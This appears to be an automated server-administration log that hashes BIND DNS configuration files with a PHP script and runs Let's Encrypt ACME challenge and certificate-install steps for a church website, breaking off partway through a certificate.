MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-22 06:00:02: Establishing a connection
2026-03-22 06:00:03: Establishing a connection
2026-03-22 06:00:03: 

PUT: /tmp/pkp829591

#!/bin/bash
if [ -d "/var/www/croydonchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-22 06:00:04: 

chmod 755 /tmp/pkp829591; /tmp/pkp829591; rm /tmp/pkp829591

2026-03-22 06:00:04: 


1


2026-03-22 06:00:05: Establishing a connection
2026-03-22 06:00:05: 

PUT: /tmp/pkp954808

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"


2026-03-22 06:00:05: 

chmod 755 /tmp/pkp954808; /tmp/pkp954808; rm /tmp/pkp954808

2026-03-22 06:00:05: 




2026-03-22 10:07:56: Establishing a connection
2026-03-22 10:08:06: Establishing a connection
2026-03-22 10:08:07: 

PUT: /tmp/pkp750981

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-22 10:08:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp750981; rm /tmp/pkp750981'

2026-03-22 10:08:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-22 10:08:19: Establishing a connection
2026-03-22 10:08:20: Establishing a connection
2026-03-22 10:08:20: 

PUT: /tmp/pkp683344

#!/bin/bash
if [ -d "/var/www/croydonchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-22 10:08:20: 

chmod 755 /tmp/pkp683344; /tmp/pkp683344; rm /tmp/pkp683344

2026-03-22 10:08:20: 


1


2026-03-22 10:08:22: Establishing a connection
2026-03-22 10:08:22: 

PUT: /tmp/pkp601836

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cat > ev9HnjcpSZabGxpjqqpWjVxF_F8BscCv4LsmCRz7-kU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ev9HnjcpSZabGxpjqqpWjVxF_F8BscCv4LsmCRz7-kU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ev9HnjcpSZabGxpjqqpWjVxF_F8BscCv4LsmCRz7-kU
cat > q8vxk9BNb4dsdaDQnOUqY5YaE_l8IR43PrdzQ-a5zHY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
q8vxk9BNb4dsdaDQnOUqY5YaE_l8IR43PrdzQ-a5zHY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 q8vxk9BNb4dsdaDQnOUqY5YaE_l8IR43PrdzQ-a5zHY


2026-03-22 10:08:22: 

chmod 755 /tmp/pkp601836; /tmp/pkp601836; rm /tmp/pkp601836

2026-03-22 10:08:22: 




2026-03-22 10:08:31: Establishing a connection
2026-03-22 10:08:31: 

PUT: /tmp/pkp892221

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
rm ev9HnjcpSZabGxpjqqpWjVxF_F8BscCv4LsmCRz7-kU
rm q8vxk9BNb4dsdaDQnOUqY5YaE_l8IR43PrdzQ-a5zHY


2026-03-22 10:08:31: 

chmod 755 /tmp/pkp892221; /tmp/pkp892221; rm /tmp/pkp892221

2026-03-22 10:08:31: 




2026-03-22 10:08:31: Establishing a connection
2026-03-22 10:08:31: 

PUT: /tmp/pkp244919

#!/bin/bash
temp_file=$(mktemp)
TARGET=0bcccb20615b0c7868de66072345a8b6.crt

cat > $temp_file <<'endmsg'
8b:28:5f:9e:51:e7:53:a3:7f:13:30:95:62:f8:cc:08

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBcUkWKNGfRM1572K8qkogLeVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIyMDkwOTU3WhcNMjYwNjIwMDkwOTU2WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCku4jnQ0X2w2mgxGxwb+V+qwVU3thOKRNQVfwwmJnKnav4AeSENteeMfXm
zcJ3XY6eMoF6TPRrcUGN9rkdFimtSbdtOrs/J1oiSS/u1ia7HINOKqdUyH0ZJzqW
